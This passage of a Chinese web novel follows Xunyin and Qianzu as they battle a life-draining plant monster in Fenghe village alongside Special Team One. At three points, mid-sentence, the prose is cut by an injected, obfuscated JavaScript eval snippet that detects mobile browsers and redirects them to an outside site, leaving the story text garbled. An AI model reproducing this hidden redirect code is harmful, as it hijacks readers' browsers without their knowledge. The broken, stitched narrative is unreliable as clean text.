一只触手坚硬化，将寻茵钉在石壁上，另一只触手锋利化，直直地向鲶鱼扎去！ 于此同时，千足也并没有旁观，她的双臂变成了镰刀状，用力地砍向鲶鱼！ 铮——！ 一种金属相接、尖锐又刺耳的在洞穴中回荡。 二人从鲶鱼身上划过，却连一丝痕迹都没有留下。 这么坚硬？ 寻茵皱了下眉。 不，它绝不会全身都这么坚硬，必然存在着某项弱点。 她与千足对视一眼，二人心中都明白，绝对不能让鲶鱼重新进入水中。 这一切都发生在电光火石间，寻茵身上的触手忽然伸长，恢复了柔韧，它缠住巨型鲶鱼，将它的腹部翻面。 而鲶鱼也并没有任寻茵宰割，那几根须子忽然像是钢筋之类的，直直向着寻茵刺去！ 因为触手拉住鲶鱼，寻茵的动作范围非常有限，眼看带着粘液的须子在寻茵眼前越放越大，“刺啦——” 千足的双腿变成螳螂的模样，因此她得以赶在须子击伤寻茵之前快速抵达，为寻茵争取喘息的机会。 而寻茵也并没有因此收回拖住鲶鱼的触手，双方在战斗中表现出十足默契。 只是再次对视，千足很快从寻茵身边跳开，一下子落在翻面鲶鱼的腹部。比起保护寻茵，这场战斗对于二人来说更重要的是快速解决鲶鱼。 千足的双边镰刀显然具有非同一般的锋利，她高高举起镰刀，毫不犹豫刺入雪白的腹部，然而并没有涌出什么鲜血。 她顿时意识到什么，在说出口的一瞬间，寻茵收回触手。 “跳下去！” 千足话音刚落，寻茵就已经直直落进水中，好在有触手打破水面张力，为她开路，但是寻茵依旧感受到一种剧烈的冲撞，毫不怀疑，如果是她之前的身体，现下恐怕骨头都摔烂了。 就在她完全没入水中的瞬间，鲶鱼也瞬间入水，然而它并未沉入水底，它浮在水面，像吹胀的气球一般，整个爆裂开来！ 千足的翅膀将她整个人包裹在其中，她比寻茵略晚一步，因此被鲶鱼爆开后的液体溅到些许在翅膀，顿时，沾到液体的翅膀部分变成一种诡异的黑色。 那些液体溅到洞穴石壁后，二者发生剧烈反应，头顶的岩层一块块掉下！ 二人都顾不上落水的疼痛，瞬间深吸一口气，向水底深处游去。 …… 寻茵从水底探出头，她爬上岸，刚一站起，整个人身上的水‘啪’一下落在地上。 见千足也冒出头，寻茵向她伸出手，将她拉上岸。 二人拧了拧身上的衣服，确保它不会滴水，开始环顾四周。 这里是一片空旷的平地，头顶是露天的，天空已是昏黄的色调，看起来似乎临近傍晚。 寻茵向前走了几步，她捡起地上断裂的几节绳子，看向千足：“我们来晚了？” 千足沿着平地最大范围走了一圈，看向她：“不。这里并不是我们昨晚听见的声源地。而且这里恐怕还是在神龛附近，而不在村长附近。” 寻茵走到她身边，她蹲在地上，观察着地面留下的痕迹：“你的意思是，有两批祭品，其中一批藏在这里，另一批在村长家附近——为什么要这样做，两批祭品有什么不同的吗。” 千足扬了扬下巴，示意寻茵看地上的麻绳：“这么粗的麻绳，想要逃脱的话，除非这里的祭品具有某种能够变型的义体，或是其他异能。但是失踪的人基本都是这两项都不具备的普通人。” 足够有钱或者资源的人，能够拥有各式各样的义体；天生就具备某种天赋的人，能够拥有异能；这三样都拥有的人，可以既有义体，又有异能。 而净土的多的是两样都不具备的普通人。 “也就是说，这一批人并不是普通人，而现在她们已经逃出去了。” 寻茵若有所思说完，她的视线看向足迹尽头：“这里有密道。” 她走过去，敲了敲墙：“实心的。” 千足在附近观摩了一会，忽然伸手向某处按去，顿时，看起来严丝合缝的石壁中间裂开两条缝。 寻茵挑了挑眉，将那石门推开。 “这个给你，”千足忽然道，她掏出了一把匕首，“我发现你好像更习惯近身战斗。” 接过匕首，寻茵端详着利刃上倒映出的她的眼睛，忽然将匕首横在千足颈侧。 她的动作实在熟练，毕竟重复练习过成百上千次。 千足没有丝毫惊慌，她扬了扬眉：“你想杀我？” 寻茵笑了声，悠悠收回匕首：“我从不杀任务对象以外的人。” 千足：“……” 这句话好耳熟，年纪轻轻的这么记仇。 “谢了你的匕首。”寻茵顿了顿，“说不定你很适合当老师。” 与变异鲶鱼如此短暂的战斗过程，千足还能注意到寻茵擅长近身作战，这是何等仔细的观察力？ “是吗，”她笑了笑，“我当不好一个老师。” 寻茵没有对她的话提出什么疑问。现在的时间不适合谈心。她将匕首反手藏进掌心，二人向着黑暗的密道前进。 千足：“你认为这些人对我们会有帮助吗。” 这句话的语气听起来像是闲聊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356653|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻茵漫不经心地回道：“那可就不好说了。” 忽然她踩到什么，蹲下来，捡起地面上的某样东西。 “怎么了？”千足察觉到寻茵的动作，停下来，将手电筒照向她手上的东西。 借着手电筒的光，寻茵看清那是一块金属胸牌。 【一·12】 和寻茵之前作战服上的铭牌一样。 她微微眯眼，问：“你来这里之前遇到过其他人吗？” 千足：“没有，怎么了？”她很快就将寻茵的疑问联系上她手中的铭牌。 “跟这块牌子有关？” 寻茵：“……那可就奇怪了。” 她进入这个幻境，是取代了其他人的身份，如果特殊一队的人进入这个幻境，按理来说也应该是这样。 没见到这个铭牌之前，寻茵一直认为特殊一队并没有进入过这个村子。 但现在，这个出现在幻境中的铭牌意味着，很可能对方早就来过这个村子。 那么一切都可以解释得通了，不管是寻茵进入幻境之后，其他人的去处，以及究竟是什么人有能力解开绳索。 不知道在黑暗中穿行了多久，前方的拐角处亮堂起来，不需要手电也能够看清。 二人关掉手电，悄悄靠近拐角。 拐角的视野中，一群身穿队服的人正在给村民苦心收集的祭品松绑。 “嘘！我们会给你松绑，一会如果发生了什么事，你们不要管，只管向前跑，去曙光中心，听明白了吗？” “曙光中心？”千足压低声音，只留下一些气音。 这下她明白寻茵之前捡到的铭牌都来源于什么人了。 “特殊一队。看来你也是特殊一队的人了，怎么不跟她们一起行动？还是说附身在小温身上是你的异能？” 寻茵耸耸肩：“这个问题我们还是等事情解决之后再说吧。” 听见寻茵这么说，千足也没有追问，毕竟她不清楚自己身在幻境之中，不清楚这句事情解决之后不过是寻茵画下的一块大饼。 寻茵：“现在看起来她们快我们一步，把那些祭品都放了，之后你有什么打算？” 千足：“我之前没跟你说过吧，我的任务是回收这里的某样东西。” “回收？” 见寻茵立即捕捉到关键词汇，千足露出一个满意的笑容：“很好，你意识到了。具体情况我没有办法细说，神庭的某样东西流落在这里，导致这里的遗落之骸迅速成长，所以我们现在要回收那样东西。” 寻茵察觉到不对：“为什么要告诉我，这不应该是你的任务内容吗。” 千足偏头看了眼特殊一队的人：“因为我不一定还能回得去。” “什么……”意思。 还没等寻茵这句话说完，地面忽然开始震动，二人为了维持平衡，互相拉住对方，头顶的石块不断下坠，砸在她们脚边。 “听我说，如果我没能成功回去，帮我把那样东西带回神庭。” 寻茵刚张嘴想说什么就被她打断：“我知道你和曙光中心是一起的，但你们并不是完全一条心——至少你对曙光中心并没有太多归属感。” “神庭能给你的会比曙光中心更多。” 寻茵沉默了会儿：“……好吧。” 反正这只是幻境，无论她怎么回答都无法影响现实，不如看看千足想做什么。 千足的身上覆上虫甲，她的翅膀又长了出来，头顶的石块因为摇晃，已经逐渐出现裂痕。 她一只手护住寻茵的头，另一只手肘出现尖刃，她向上飞了起来，一举破开头顶的石块，飞上地面。 25. 丰和村7 当寻茵等人出现在地面的那一刻，她们就知道为什么村民们一直都没有来找自己。 上方就是祭坛的位置，之前在田地里见过的绿苗已经膨胀到几百倍大，看起来鲜嫩得一掐就能出水的枝条洞穿所有村民的胸腔。 包括之前寻茵见过的杨爷爷。 而寻茵之前见过的村长，他坐在地上，满目惊恐地后退着，他摇着头：“不，你不能杀我！我什么都给你了！我的孩子、妻子，我什么都给你了，我为你寻找祭品，为你杀人……” 肉眼可见，枝条上的串着的人像被吸完汁液的果子一样衰瘪下去，他们的皮肤逐渐老化，像失去弹性的皮筋，渐渐变成一层膜贴附在骨头上，骨头也开始变脆，最后，他们变成和村口一样的风沙。 什么都没留下。 而汲取了全部村名生命力的绿头顶，却忽然冒出个像血一样鲜红的花苞，陷入一种将放未放的地步。 那朵花忽然口吐人言，声音雌雄莫辨：“给我？你所做的一切不过是为了自己长生的欲望，你难道没听见那些已经与你融为一体的同胞说的话吗？她们说……轮到你了。” 村长的眼睛在那怪物话落瞬间，瞪得大大的，他好像看见了什么他人看不见的东西，表情惊恐地不断向后，哪怕地面尖利的石子割破他的手肘，也丝毫无知无觉。 而与此同时，寻茵的眼前不断闪过一些画面： 在村子里长寿的祭品不够的情况下，村长作为代表，将手伸向了村里的妇孺，首当其冲的就是他自己的妻子和女儿。 他们将她们绑上祭坛，在那绿苗施恩一般降下甘霖后，他们像野兽一般，将她们分食。吃不完的，就做成不易腐坏的肉干。 不愿意加入的、反抗的，一同作为祭品，成为他们腹中物。 “不要！不要过来！不是我害的你们，冤有头债有主，你们去找那个怪物啊！”村长的双眼瞪得大大的，寻茵无从知道对方究竟看见了什么，看他惊恐的表情也可以想象，绝对是一些掉san的画面。 “我错了！我错了，婉阳，我们在一起整整三十年，你肯定知道我不是故意要害你的，”他抖着手，不停摇头，看起来被惊吓得不行，“如果我不这么做，当时那种情况下，其他人就不会任我当这个村长了，我会跟不配合的老胡他们一样，被吃了的！我也是没有办法啊！” “你别杀我！我还给你，好不好？”他的原本的面色非常惊慌，因为与沙砾摩擦而产生血渍的指尖深深地陷入地面的泥土中。 忽然他好像想到什么，他满目希冀，带血的指尖忽然摸上了自己的衣服。 村长剥开自己的衣服，他的一只手忽然变成与绿苗一致的枯木，那截枯木扎进了胃里，随后一把拔出，流出的东西落在地上，竟使干枯的地面冒出绿芽！ 他不停地将自己向外掏着，口中呢喃着‘还给你’。 但他的身体里并没出现寻茵想象之中血腥的画面——他的胃里，他的血液，都是一种翠绿的青汁。 一落到地面上就能够使其焕发生机的青汁。 看来这就是丰和村长寿的秘密。 难怪那些看起来比杨爷爷年轻的村民会叫杨爷爷小杨，恐怕杨爷爷没有提供足够的祭品，没有得到足够的馈赠，所以比其他人衰老得都快。 这么说起来……之前杨爷爷的打算恐怕就是将她们变成献给绿苗的祭品。 千足瞥见，不着痕迹地后退一步，她的表情看起来有些许嫌弃：“完全被这遗落之骸同化了，就算能活下来，最后的结果也不过是沦为遗落之骸的储备粮。” 直到身体里再也流不出什么东西，村长终于直挺挺地砸在地上，他的双目早已涣散，面上的表情看起来却如释重负：“还给你……我、我还完了……” “是吗，但是她们告诉我，还不够。”绿苗像是终于欣赏够村长的丑态，它的枝干从村长头顶刺入，村长如释重负的表情就这么永远地僵在脸上。 从今往后，她们举起复仇的火炬，将村长等人所犯下的罪行，交还给他们，千万遍。 □□长宁，而魂灵不安。 现在，祭坛上剩下寻茵、千足，特殊一队的队员。 寻茵很轻易的就在一队里找到那个丢失胸牌的倒霉蛋。 那是一张非常稚嫩青涩的面孔，寻茵推测恐怕就是她的前辈，死在被诅咒的职位下的队员。 寻茵没有将目光过多投掷在自己的前辈身上，她看向千足，悄声问：“你要解决它吗？” 千足挑眉，回答得理所当然：“当然不。它不知道吃了多少人，光靠我们恐怕也是沦落到给它填肚子的下场。而且……我现在需要做的只是拖延时间。” 忽然一瞬间，地动山摇，祭坛地面忽然裂开，一束光从裂开的缝隙里冲出，让周围恍如白昼。 “——看起来时间拖够了。”千足默默加上那句话。 寻茵没来得及吐槽她什么也没做。 白光散去，一颗翠绿的小树苗浮在半空，看起来格外醒目，忽然，一道身影从缝隙里蹿出，比遗落之骸更快夺过那样东西，并且迅速离开祭坛。 绿苗也并未懈怠，它膨胀得占据了寻茵半个视野，原本黄土似的丰和村忽然冒出无数树苗，它们的枝干开始疯长、繁育，阻拦着那个夺走宝物的人的去路。 寻茵这才看清对方是谁——季可赢。 现在她终于明白千足口中季可赢的其他任务是什么了。 显然，她和季可赢来这里的目的就是将这样东西带回去。 千足在瞬间进入战斗状态，她的身上裝负虫甲，手变成镰刀，上面泛着金属般的紫色，一看就有剧毒。 寻茵知道有一部分遗落之骸会在展开领域之后将核心藏在领域的某个角落，但很显然，这个绿苗从头到尾都没有展开过领域。 既然季可赢拿走的不是遗落之骸的核心，又会是什么东西？ ——这就是千足口中的某样能够帮助遗落之骸成长的那样东西？ 寻茵身后的触手一出现，她在特殊一队前的身份显然就瞒不住了。 然而特殊一队没有一个人朝寻茵看一眼，让她不禁奇怪： 怎么回事？特殊一队的人都没记忆，还是说她们压根就没有进入这个幻境？ 触手拍开那些向寻茵缠来的树枝，千足看起来想缠住绿苗的主体，不过她显然是战斗型，不太方便牵制。 寻茵身后的触手忽然伸长，一把困住了绿苗的主体。 说实话，寻茵自己也没想过，真的能够困住绿苗，毕竟它的主体已经膨大到一个难以想象的地步。 难道触手能够无限延长吗？但她很快否决，任何东西都有极限，触手的极限又在那里呢。 绿苗被触手困住的一瞬间，寻茵听见绿苗的声音在自己脑海中响起：“你要帮人类吗？” 寻茵愣了片刻，对方这么问是什么意思，好像寻茵不是人类，跟她才是同类一样。 但触手并未松懈，寻茵没有回答绿苗的话，只当作自己没听见。 千足收到帮助，向她挑眉：“谢了。” 绿苗终于停了下来，它现在似乎不着急去抢季可赢带走的东西了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361580|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 它的下端长出根系，扎进地面，寻茵的触手立即松开，护在她身前。 “糟了，”千足叹气，“看来她已经开领域了。既然是这样，我们得快点找到季可赢。” 绿苗丝毫没有攻击的意图，因此二人在警惕地后退之后很快迈步离开领域。 对于绿苗言，展开领域之后它能够准确知道领域发生的任何事，更快的找到自己的目标。 寻茵与千足二人都并未在路上过多停留，但不知道为什么，这一路上千足都没有发现季可赢留下的标记，就在二人像只无头苍蝇乱窜时，天空中忽然升起了一簇信号弹。 二人找到方向后，迅速向着信号弹的方向前进。 越靠近信号弹的地方，树枝与藤蔓就纠缠得越加紧密。 镰刀隔开树枝，千足从地上捡起信号弹的残骸。 “看起来就是这了。” 将残骸抛下，千足开路，二人继续向前。 半路上偶遇特殊一队之后，他们就默不作声地跟寻茵二人身后。 然而几人无论怎么走，都像是遇到鬼打墙一般走不出去。空气中的迷雾渐浓，寻茵立即联想到之前空气中的种子。 看起来就是这些种子影响了他们的判断。 寻茵抬手捂住口鼻。 千足见状，扯下一块布，蒙在脸上。 “你有火吗？”寻茵忽然低声问道。 千足挑挑眉，没说话，她忽然站住脚，看向身后特殊一队的人：“你们谁的异能是火系。” 几人看向宣鳞，没人说话，宣鳞问：“你想怎么做。” “不明显吗？烧了这里。” 这显然是最简单粗暴的方法，宣鳞沉默一会，到：“十一，你去。” 一个人站到千足面前：“你想怎么做。” “把我们周围点燃。” 十一皱了皱眉：“你会烧死我们的。” 千足耸了耸肩，看向宣鳞。 司怀向前一步：“我想对方没有自寻死路的意思，十一，我们需要你的异能耗尽对方领域能量，我们会为你提供足够的核心。” “……如果这是指令，我会遵守的。” 于是司怀看向千足，点了点头。但寻茵总觉得她刚才瞥了自己一眼。 十一的身体忽然附上岩层一样的盔甲，每一块盔甲的缝隙间，流淌着岩浆一般的红色。 只不过是异能外显，寻茵顿时感觉周围的温度上升了些。 她向着前方用力挥出一拳，一个巨大的火球就这么飞了出去，点燃了周围。 顿时，藤蔓之间响起了尖叫，像一个着火的人一样不停地拍打着自己身上的火苗，试图将其熄灭。其他人也并未干站着，千足的翅膀用力开合，刮起风，将火势吹得更大。 温度开始升高，寻茵感觉背上开始渗出冷汗，触手更是快化了一般萎靡，早早地躲回了后腰。 寻茵莫名想起，自己刚进入这个幻境的时候好像就已经中暑过。 她吞了吞口水，感觉嗓子出现了一些血腥味。 再看其他人，显然也好不到哪去，司怀更是如此。 宣鳞：“你确定这能行吗？” 寻茵张了张嘴，她的舌头和口腔内的粘膜好像黏在一起似的，才反应过来，宣鳞在对千足说话。 千足还能笑得出来：“当然。你看——” 周遭的树枝几乎焚毁得一干二净，像是纸片剥落一般，领域开始碎裂。 出现在众人眼前的是，一个被藤蔓裹成粽子的人形，和已经缩小的绿苗本体。 26. 丰和村8 绿苗的领域破了，不过对寻茵而言，这场幻境尚未结束。 周围的绿意褪去，几人警惕的看着眼前。 当千足看见那个被裹成粽子的人形时，眸色几不可见地暗了一暗，她知道，里面的人很可能就是留下信号之后又失踪的季可赢。 但看样子，千足要找的那样东西并没有落到绿苗的手中，否则它会直接杀了季可赢，没必要留下她。 “为什么？” 绿苗转向千足，它的声音里含着一丝浅淡的不解。 “那样东西不是你的同伴给我的吗？当时你们自己说无条件帮助我，现在又要收回去，为什么？” 那样东西原本是神庭给的？寻茵不着痕迹地看了千足一眼。 还有，帮助它成长是什么意思？ 尽管寻从那晚遇到遗落之骸开始，寻茵就知道神庭与遗落之骸之间有关联。 但帮助遗落之骸成长是怎么回事，难道丰和村惨案也有神庭在其中推动吗？ 那么明映在其中又充当着怎样的角色呢？他是否可信？ 尽管心中的想法百转千回，但寻茵却并未将其表现出来，她看着千足，想知道对方会给出怎样的回答。 千足露出一个堪称无辜的表情，她疑惑道：“现在的遗落之骸都会挑拨离间了吗，进步还真是快。” “你不承认。狡猾的人类。” 千足微笑着，寻茵看见她的手肘已经冒出锋利的尖刺，看起来战斗近在咫尺。 “我不想跟你们为敌。” 绿苗说道，它的语气没有丝毫变化，带着强烈的非人感。 宣鳞：“如果你不想与我们为敌，就不应该对丰和村的村民下手。” 绿苗：“我并不想对她们下手，而且也不是我主动引诱他们的呀。就像人吃鸡鸭猪羊，我只是在进食而已。” 司怀看起来已经缓过来了：“你想进食可以选择其他动物，为什么一定要向人类下手？” 绿苗：“我没有向人类下手。我只是将我能从人类身上获得更多能量、更长寿命这一点告诉对方而已，是他们自己向同胞下手。” 宣鳞的表情很肯定：“你引诱他们。” “如果陈述事实也算引诱的话。” “你看，这就是差异所在了。”千足慢悠悠补充道，“看来这下没得谈了。” 她将手放在嘴边，看起来像是在说悄悄话一般，看热闹不嫌事大道：“我认同你。因为人类根本不需要引诱也会因为欲望咬钩。” 宣鳞皱眉：“你这家伙……还记得谁才是你的同伴吗。” 千足耸肩：“当然，我记得清清楚楚。” 她转向绿苗，悠悠道：“非我族类，其心必异啊。” 话音刚落，绿苗身上的触手就向千足抽去，速度快得能听见破空声。 好在千足早有防备，她躲过突如其来的触手，向宣鳞大叫：“现在可以证明我跟她不是一伙的吧？你们特殊一队应该不会见死不救吧？” 宣鳞已经进入戒备状态，嘴上却道：“那可不一定，谁知道你是不是演给我们看的。” 周边的氛围俨然严肃起来，寻茵下意识摸了一下左臂上的眼睛。 从刚才开始，自己左臂上的眼睛有种要睁开的预感。 难道……激活那只眼睛的契机就在这里吗？ “躲开！”忽然，千足向寻茵大喊。 寻茵看向迎面冲来的触手，轻松地跃起，足尖落在触手上。 原来是那怪物见寻茵走神趁机偷袭，好在寻茵虽然走神，警觉性也并未下降。 这怪物显然不止这样挠痒痒的攻击手段，它的藤蔓上现出尖刺，如果不是寻茵避开地非常迅疾，恐怕下一秒就会扎穿她整个脚掌。 寻茵看着尖刺顶端的寒光，忽然感觉喉咙有些发痒。 她皱眉，卡住自己的喉咙。 现在她感觉喉咙里面有东西在爬。 寻茵很少生病，尤其是感冒。 在她有限的几次感冒之中，寻茵很少有咳嗽的时候，也因此无法确认这种痒意是不是等同。 但显然，有这种感觉的并不是寻茵一个人，千足皱着眉，一脸想呕的表情。 特殊一队里有几人更是无法控制地大声咳了起来。 “看来是那个……” 绿苗的攻击停滞，它回到原地：“现在你们所有人的身体里都有我的种子。” “首先，你们会很想喝水，但是这里没有水，所以，同伴的血液就是你的甘霖； 其次，你们会很想将自己的根系扎进土壤，汲取成长的营养，但这里没有养料，所以同伴的□□就是你们的肥料； 吃下吧，吃下吧！把同伴吃进身体，然后从身体开出花朵，结出——生命之果。” 随着绿苗的吟诵一般的话语，所有人感觉自己都没办法动弹。 她们的脚好像深深扎进地里，化作植物的根系；她们的手好像变成绿苗的枝干，长出了些许鲜嫩的绿芽；她们的皮肤变得坚硬、粗粝，结成树皮的沟壑。 她们成了树。 随着这种污染的进行，众人越被污染、身体就越像树，绿苗的枝叶越发繁盛。 寻茵看向千足，视线又一一掠过宣鳞和司怀的面孔。 她眨眨眼。 寻茵能够感受到自己的身体开始恢复知觉，但仅仅是作为植物而言。 她晃一晃身体，眼角余光便能看见从自己躯体上发出的枝叶在抖动。 这并不是足最令众人恐惧的——身边的同伴在她们眼中变成了香甜的、可口的、能够给予自己成长的能量的——食物。 无奈地用变成枝干的手拍掉向她伸过来的枝干，寻茵注意到，部分精神能量不够强的人已经被绿苗迷惑，将自己的枝叶扎进了同伴的身体里。 绿苗显然对它造就的景象非常满意，它的枝叶愉快地抖动，不知道是什么原因，寻茵似乎能够感受到绿苗的情绪，它对此毫无防备，将自己当成了这个世界的王。 趁着此刻，寻茵与三人对视一眼，默契地移动着自己的根系，不着痕迹地将绿苗围了起来。 她们将变成根系深深地扎进了绿苗之中，只汲取到一点绿苗的能量，四人恢复了自己的身体，解除了这种污染。 “它是怎么做到的？”宣鳞皱着眉，活动自己的关节。 “估计在千足发现之前，那些种子就已经进入我们的身体里了。而烧毁它也只不过是打破幻境和暂时延缓罢了。” 千足眯眼，她看着那个被枝条圈成球的人形，面色冷凝：“麻烦二位拖住它一下，要是我再不去救自己的同伴，恐怕就要被这家伙吸干了。” 宣鳞和司怀并未拒绝，她们看向寻茵：“把她们都打醒。这个遗落之骸的种子显然具备高污染性，一旦进入体内会感染她们的精神和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15404075|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' □□。” 司怀道：“如果想要摆脱这种精神污染，在异能不是精神系的情况下也可以采用物理手段。” 话音刚落，宣鳞就同绿苗缠斗起来，似乎察觉到绿苗的召唤，几人立刻不再相互攻击，向着绿苗身边聚拢，似乎想要保护它。 好在寻茵的触手圈住她们，她将两个被圈住的人用力对撞，用这种略显暴力的方式唤醒她们的神智。 然而遗憾的是，其中一个人在寻茵圈住它的瞬间就从身体里长出一朵艳红色的花。 看起来……就像绿苗头顶上没有开的那一朵一样。 寻茵看向对方的脸——那张脸已经完全变成木头的模样，双眼中只剩下眼白，找不到眼球的存在。 那是自己捡到的胸牌的主人。 ……运气还真是不好。总不能说，那个传言是真的吧。 好在其他人清醒的很快，众人在被控制的时候也留有自己的意识，清醒后完全顾不上自己脑门上起的大包，就赶到宣鳞二人身边，为其分担压力。 而千足也在这时成功将季可赢救了出来。 就在季可赢被救下的瞬间，绿苗的身体忽然开始膨胀——那模样比寻茵之前见过的更加夸张—— “不好！快离开，它想吞噬我们！”成功将季可赢救下来之后寻茵即刻大喊。 几人闻言，瞬间拔足狂奔，触手眼疾手快地圈住背着季可赢的千足，三人开始逃亡。 逃亡过程中，寻茵渐渐失去宣鳞等人的视野，然而古怪的是，不管她们跑得多快，藏得有多隐蔽，绿苗总是能够准确无误的找到她们。 就在这时，季可赢终于醒了过来，她开始剧烈地咳嗽，然而咳出来的都是与村长如出一辙的绿汁。 她将手贴近心脏，白光一闪，那枚被绿苗垂涎不已的宝物出现在她的掌心：“老师……我的任务完成了，请你将它带回。我的身体里有那东西种下的锚点，它随时能够追踪到我，带上我你们也逃不走。” “你的意思是要我抛下你吗？” 千足面无表情，她垂眼看着季可赢皮肤下隐隐透出的青绿色的血管。 她知道，季可赢已经被完全感染，就像村长一样。就连身体内淌出来的都不再是鲜红色的血液，而是一种类似于植物汁液的青汁。 但这并不意味着她无药可救。 如果千足能将季可赢带回去…… 她攥紧季可赢的手：“你想让我当一个抛下学生的老师吗？季可赢，活下来。我们都会活下来的。” 千足拿过季可赢掌心的东西，抛给寻茵：“还记得我之前跟你说的吗？麻烦帮我将这东西带回神庭。” 寻茵接过，那淡绿色的璀璨晶体之中显然富含着某种能量，甚至让触手都蠢蠢欲动。 “你要留下来？” 寻茵没说完的是，你要留下来，等死吗？ 她不了解千足，没有办法理解对方为什么明知道放弃季可赢能够得到最大收益，却还是要留下来。 就算她能够想到什么解决的办法，但寻茵没忘记千足之前自己说过，她们想要对付这东西恐怕只能沦落到给它填肚子的下场。 也就是说，她根本没有把握。 就算有救下季可赢的可能，但显然两个人都殒命的概率更大。 寻茵很想问她。 这么冒险，值得吗？ 但最终她什么都没说。 27. 丰和村9 绿苗显然不会给寻茵思考的时间，它追上来！ 千足眼神一厉，虫甲在她身上组装，她身后出现翅膀和尾勾。 尾勾卷起寻茵，千足的翅膀飞了起来，随后将寻茵向远处掷去。 千足似乎说了什么，但寻茵没办法听清，耳边是呼呼的风声，她只能茫然地盯着她的口型。 直到千足的身影在寻茵的视线里越来越小，直到被绿苗吞噬。 …… “快点醒过来！” 寻茵睁开眼睛的瞬间，迎面就是一巴掌，好在她身形足够敏捷，成功躲过。 “你刚刚怎么回事？我们现在可是在战斗中，只要有任何疏忽都会丧命，你居然发呆？”迎着宣鳞紧锁的双眉，寻茵的记忆开始复苏。 在二人找到石牌之后，几人会和，并终于拼凑出一个‘受遗落之骸诱惑而导致灭亡’的村庄的故事。 随后，众人来到故事之中，异变发生根源的神龛。 随后地面开始晃动，一个巨型遗落之骸从地面爬了上来。 正是寻茵离开幻境前看见的最大形态的绿苗。 寻茵不动声色地观察了周围的人一圈，所有人的面上都带着凝重，但没有任何一个人表现出对绿苗的熟悉——她们没有看见并参与幻境吗？还是说，因为某种不可知的原因，没有这段记忆？ 周围到处是残垣断壁，看起来像是已经经历过一段激战。 躲开绿苗的攻击，寻茵知道自己首先应该将精力在眼前的战斗上。 她深吸一口气，开始观察绿苗身上有可能存在核心的地方。 会在哪里？ 就在她垂眸思索之际，脑海中忽然响起一道声音：“……你要帮助她们吗？” 又是这句话！ 之前在幻境之中，寻茵记得绿苗就问过她这么一句话。 为什么要问她这个问题？ 寻茵实在对此感到费解。 “你想说什么。”她在脑海中这么回答那道声音。 然而拿到声音并没有回答她，只是继续道：“我们才是同类。你会后悔的。” 寻茵沉下眼。 她全然无法理解对方说的是什么意思。 自己是不是人类，寻茵不至于连这个都不清楚。 但就算是挑拨，为什么独独对自己说？ 为什么？ 白乾除了方舟研究员的身份，还有其他不同吗？ ……还是说，这种不同并不来自于白乾，而是，她？ 这种猜测太过无理，很快就被寻茵否决。 她不再将精力耗费在毫无根据的猜测上。 特殊一队几人正在同绿苗缠斗，寻茵静下心，开始观察绿苗的动作。 每一次攻击都在寻茵的眼中渐渐变成慢动作，她能在脑海中模拟无数遍回防进攻的姿态。 宣鳞见寻茵没有出手，也并不在意。 对她而言，随队医生只需要保护好自己，然后在队员受伤时为其提供基础治理就足够了。 司怀在脑海中模拟着战胜绿苗的可能性，然而眉头却越皱越紧——她已经发现了问题所在。 绿苗根本就没有认真对战，对方用一种猫戏老鼠一般的姿态逗弄着特殊一队。 这只能说明，对方完全没讲特殊一队的人放在眼里。 她用余光观察周围的幻境，在脑中将队员的能力和环境进行重组，开始分裂排布能够应对树苗的方案/ “十一小心！” 武嘉莹一时不查，被绿苗钻了空子，眼见那枝条就要穿透自己，武嘉莹在一瞬间做好负伤战斗的准备。 然而腰上忽然缠上一条触手，瞬间将武嘉莹拉离绿苗的攻击范围。 武嘉莹惊讶地转过头，发现这次救济来自于自己看不顺眼的新队员，一时间面色青青白白，咬着牙向寻茵道谢。 明明这么不情愿，却还是会因为寻茵救了她道谢。寻茵莫名感到些许微妙的好笑。 不过寻茵并不在乎这道谢究竟是不是口不对心，她微微眯眼：“这样子是没办法解决它的。” 司怀靠近她：“你发现了。” 寻茵眯眼，看着宣鳞的攻击：“所有攻击对这个遗落之骸而言就像是落尽了水里，甚至没办法激起波澜的那种。” “什么意思？”武嘉莹喘着粗气，退回两人身边，听着两人的云里雾里的对话。 寻茵回答她：“意思就是说，盲目攻击是没用的。因为它能吸收你们攻击的能量，而你们攻击的也并不是遗落之骸的本体。” “核心恐怕藏在遗落之骸的本体之中。”司怀说道。 “以我们现在的火力没办法强制性击破这层防御，你能估计这只遗落之骸的等级吗？”寻茵转过头，看向司怀。 司怀看向遗落之骸，瞳孔中有蓝光闪过，大概一分钟，她给出答案：“A级以上，技能特殊，它能吞噬能量作用于自身。” “这不是完全没办法对付它了吗？” 武嘉莹眉头紧缩，表情中带着一丝绝望。 虽然说从她进入特殊部门的那一刻开始，就为自己的死亡做好了准备。 